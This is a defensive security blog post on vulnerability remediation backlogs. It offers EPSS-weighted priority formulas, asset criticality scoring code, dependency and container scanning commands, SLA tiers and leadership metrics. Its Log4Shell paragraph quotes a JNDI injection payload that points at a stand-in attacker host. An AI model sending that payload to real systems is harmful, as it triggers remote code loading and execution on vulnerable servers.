Finding Fast, Fixing Slow: The Rising Exposure Debt

Finding Fast, Fixing Slow: The Rising Exposure Debt

Why raw CVSS is the wrong sort key, a working EPSS-weighted priority formula with a defensible asset criticality score, dependency and container scanning code, an SLA framework, and what a leadership report should actually contain.

HackerSavanna Research Team
10 min read1 views

Detection has gotten faster. Continuous bug bounty programs, automated scanning, and AI-assisted triage mean the average organization finds out about a vulnerability faster than at any point in the last decade. Remediation has not kept pace, and the gap between the two, the backlog of known, unfixed exposure sitting in production, is what security teams have started calling exposure debt. It behaves exactly like technical debt: invisible on a dashboard that only counts new findings, and compounding every day it is left unpaid.

Why detection outran remediation

Four forces widened the gap, and none of them are going away.

Continuous testing replaced point-in-time testing. A once-a-year pentest produces a finite backlog a team can plan around, close out, and report as done. A live bug bounty program or continuous scanner produces a steady drip of new findings indefinitely, and most remediation workflows, ticket queues, sprint planning, change-review boards, were built around the old, batch-shaped cadence, not a permanent open stream.

Third-party and dependency exposure grew faster than first-party code. A huge share of exploitable vulnerabilities now originate in a library, a container base image, or a SaaS integration the team does not directly control, and fixing those requires a vendor update or a version bump, not just a pull request against your own repository. Log4Shell, CVE-2021-44228, disclosed in December 2021, is the reference case study here: a JNDI lookup feature in the widely-embedded Java logging library Log4j allowed unauthenticated remote code execution through something as mundane as a logged User-Agent header, ${jndi:ldap://attacker.example/a}. Because Log4j was a transitive dependency buried three and four layers deep inside countless other libraries, frameworks, and commercial products, most affected organizations did not even know they were exposed. They did not ship Log4j, a vendor's vendor did, and mapping the true blast radius took security teams industry-wide months, not days.

Supply chain compromise is no longer a hypothetical threat model. In March 2024, a backdoor was discovered deliberately inserted into xz-utils, a compression library embedded in most Linux distributions, planted over roughly two years of patient, trust-building open source contributions by an account that had gradually earned maintainer access, before inserting obfuscated code that would have granted remote SSH access on affected systems. It was caught before wide deployment, by a single engineer noticing an anomalous 500-millisecond delay in SSH login performance during unrelated benchmarking work, not by any automated tool. That near-miss is why software bills of materials, SBOMs, a complete, machine-readable inventory of every component and version in a running system, have gone from a compliance checkbox to something teams increasingly rely on to even ask the question "are we affected," fast, the first time it matters.

Cloud sprawl multiplied the asset count faster than headcount grew. More services, more accounts, more regions, more infrastructure-as-code modules, all discoverable by an external researcher or scanner, all needing an owner internally who can actually action a fix, and asset inventories drift out of date faster than most organizations can re-audit them.

Why raw CVSS is the wrong sorting key for a remediation queue

CVSS measures how bad a vulnerability could theoretically be under the vulnerability's own worst-case assumptions. It says nothing about whether that vulnerability is actually being exploited anywhere, or whether it sits on an asset that matters to the business. A 9.8 CVSS finding on an internal staging box nobody references from anywhere reachable is a lower real-world priority than a 6.5 finding actively being scanned for by opportunistic attackers on a customer-facing endpoint. Sorting a remediation backlog purely by CVSS descending is the single most common reason exposure debt piles up in exactly the wrong place, a critical-severity, low-real-risk finding blocking the queue while a moderate-severity, actively-exploited one waits behind it.

This is precisely the gap the Exploit Prediction Scoring System, EPSS, maintained by FIRST.org, the same body that maintains CVSS, was built to close. EPSS estimates the probability a given CVE will be exploited in the wild in the next 30 days, based on observed scanning and exploitation activity aggregated across many sensors, and it is free to query, updated daily.

python1.5 KB
1import requests
2
3def get_epss_score(cve_id: str) -> float | None:
4 """Look up the current EPSS exploitation-probability score for a CVE."""
5 resp = requests.get(
6 "https://api.first.org/data/v1/epss",
7 params={"cve": cve_id},
8 timeout=10,
9 )
10 resp.raise_for_status()
11 data = resp.json().get("data", [])
12 return float(data[0]["epss"]) if data else None
13
14
15def get_epss_scores_batch(cve_ids: list[str]) -> dict[str, float]:
16 """Batch lookup, since the backlog is rarely a single CVE. The API
17 accepts a comma-separated list and returns results for whichever
18 of the requested CVEs it actually has scores for."""
19 resp = requests.get(
20 "https://api.first.org/data/v1/epss",
21 params={"cve": ",".join(cve_ids)},
22 timeout=15,
23 )
24 resp.raise_for_status()
25 return {row["cve"]: float(row["epss"]) for row in resp.json().get("data", [])}
26
27
28def exposure_priority_score(
29 cvss_base: float,
30 epss_probability: float,
31 asset_criticality: float, # 0.0 (low) to 1.0 (crown jewel)
32 days_open: int,
33) -> float:
34 """
35 Combine severity, real-world exploit likelihood, business criticality,
36 and age into a single sortable priority score. Age is capped so an
37 ancient low-risk finding doesn't eventually outrank a fresh critical one.
38 """
39 age_factor = min(days_open / 90, 1.0)
40 return (
41 (cvss_base / 10) * 0.35
42 + epss_probability * 0.40
43 + asset_criticality * 0.20
44 + age_factor * 0.05
45 )

The weighting above is deliberately opinionated, not a universal constant, and teams should tune it to their own risk appetite. The point of the formula is not the exact coefficients, it is the principle: exploitability and business impact should outweigh raw severity in a queue, and age should be a tiebreaker, not the primary sort key, or old-but-boring findings will always lose to new-but-scarier ones and never get fixed.

Dependency and container scanning, integrated where the debt actually accumulates

A remediation queue that only ingests findings from a bug bounty program or a single scanner is structurally blind to the largest source of exposure debt for most organizations: transitive dependencies. Running dependency and image scanning as a normal part of CI, not as a separate quarterly exercise, is what turns "we found out about Log4Shell from Twitter" into "our pipeline flagged it automatically the same day."

bash526 Bytes
1# Node.js dependency tree, including transitive dependencies
2npm audit --audit-level=high
3
4# Python
5pip-audit
6
7# Container images, checking OS packages and application dependencies
8# layered into the image, not just the base OS
9trivy image myapp:latest --severity CRITICAL,HIGH
10
11# Generate a software bill of materials for a build artifact, the
12# thing that lets you answer "are we affected by CVE-XXXX" in minutes
13# instead of days the next time a Log4Shell-scale event happens
14syft myapp:latest -o cyclonedx-json > sbom.json

Feeding the output of these tools into the same prioritized queue as bug bounty findings, scored with the same EPSS-weighted formula rather than a separate, lower-visibility spreadsheet, is what keeps dependency debt from becoming the exposure nobody was tracking when it eventually matters.

Scoring asset criticality without turning it into a political exercise

The formula above treats asset criticality as a single input between 0.0 and 1.0, and that number is where most teams either get real signal or get bogged down in an endless argument about which system is "important." The version that survives contact with a real organization is built from a small number of concrete, checkable facts about the asset, not a subjective vibe check in a spreadsheet:

python835 Bytes
1def asset_criticality(
2 handles_payment_data: bool,
3 handles_pii: bool,
4 internet_facing: bool,
5 unauthenticated_reachable: bool,
6 monthly_active_users: int,
7 is_production: bool,
8) -> float:
9 """Deterministic criticality score from facts a CMDB or asset
10 inventory can actually answer, not a subjective 1-10 gut check."""
11 if not is_production:
12 return 0.1 # staging/dev still tracked, just floored low
13
14 score = 0.2 # baseline for any production asset
15 if handles_payment_data:
16 score += 0.35
17 if handles_pii:
18 score += 0.2
19 if internet_facing:
20 score += 0.15
21 if unauthenticated_reachable:
22 score += 0.1
23 if monthly_active_users > 100_000:
24 score += 0.1
25 elif monthly_active_users > 10_000:
26 score += 0.05
27
28 return min(score, 1.0)

The specific weights matter less than the discipline of the approach: every input is a fact someone can look up or verify, not an opinion, which means two different engineers scoring the same asset independently should land on the same number. That property, reproducibility, is what makes an asset criticality score defensible when a remediation decision it influenced gets questioned later, and it is the thing a purely qualitative "critical / high / medium / low" label almost never has.

A remediation SLA framework that survives contact with a real backlog

A useful SLA has to be honest about two different clocks: how fast the team must acknowledge and triage a finding, and how fast it must actually remediate it, which are very different commitments and should never be reported as a single combined number.

Critical High EPSS, or actively exploited, or crown-jewel asset 24 hours 7 days High High CVSS with meaningful EPSS or asset exposure 72 hours 30 days Medium Moderate severity, low exploitation signal, non-critical asset 5 business days 90 days Low Low severity or theoretical, no exploitation signal Best effort Track, no hard SLA

The tier a finding lands in should be recalculated periodically, not fixed at intake. An EPSS score can rise sharply after a public exploit is released for a previously quiet CVE, exactly what happened industry-wide in the days after Log4Shell went from a disclosed CVE to a mass-scanned, actively-exploited one, and a finding that was correctly triaged as Medium on day one can become genuinely urgent on day forty without a single line of code on the vulnerable system changing. A remediation program that only scores at intake will systematically miss this class of escalation.

What the disclosure-to-fix cycle looks like when it works

It helps to ground all of this in a real example rather than an abstract formula. Our own disclosure archive includes a report on a verbose system health endpoint exposing internal tech stack and performance metrics, a Low-severity, low-EPSS-equivalent finding by the framework above, appropriately triaged with a longer remediation window than a Critical, and a separate, higher-severity disclosure of internal triage notes reachable through a report details API, a Confidentiality-impacting finding on a customer-facing surface that would score toward the top of a Critical-or-High remediation queue under an EPSS-and-asset-criticality-weighted formula, not just a bare CVSS number. Reading a program's own disclosed reports side by side like this, low severity next to high, is one of the fastest ways to sanity-check whether a remediation queue's priority ordering actually reflects real-world risk or has quietly drifted back to sorting by CVSS alone.

Why a healthy bug bounty program can make the debt number look worse before it gets better

This is the counterintuitive part worth saying out loud: turning on a continuous bug bounty program, or expanding scope to cover mobile, API, and cloud assets alongside the core web app, will usually increase the raw count of open findings in the short term, sometimes sharply. That is not a sign the program is failing, it is the detection side of the gap finally catching up to reality after years of point-in-time testing under-reporting the organization's true exposure. The metric to watch through that transition is not the backlog count, it is whether the remediation SLA table above is actually being hit for the Critical and High tiers specifically. A rising Low-tier backlog with a flat, on-time Critical tier is a healthy program finding more of what was always there. A rising Critical tier past its remediate-within window is the number that should trigger an actual escalation, not a shrug.

What a leadership report actually needs to contain

Most security teams that struggle to get remediation resourced are not failing to communicate risk, they are communicating the wrong shape of number. A raw finding count invites the response "that sounds like a security team problem, not a company problem." A report structured around SLA adherence and trend, not volume, invites a very different conversation:

Critical findings within remediate-within SLA 92% 88% up Median age, open Critical findings 4 days 6 days improving Median age, open High findings 21 days 14 days worsening Findings past SLA, Critical + High combined 3 5 improving New Critical findings this period (all sources) 7 4 up (new scope added)

Every row in a report shaped like this maps directly to a decision leadership can actually make: fund more remediation capacity for the High tier specifically, since that is the row moving the wrong direction, rather than a vague ask for "more security budget" attached to a backlog number nobody outside the security team has the context to interpret.

Making the debt visible, not just the backlog

The single highest-leverage change most security teams can make here is not a new tool, it is a dashboard metric most programs do not track at all: median age of open findings by priority tier, trending over time. A backlog count going up is ambiguous, it could mean more findings are coming in, which is often a sign the detection program is working well. A median age going up, especially in the Critical and High tiers, is unambiguous. It means debt is compounding, and it is the number that should be in front of leadership, not the raw finding count.

Exposure debt does not get paid down by finding faster. It gets paid down by making the fix queue impossible to ignore, sorted by what actually matters, fed by every source that produces findings including the dependency graph, with a clock that leadership can see ticking.

Share: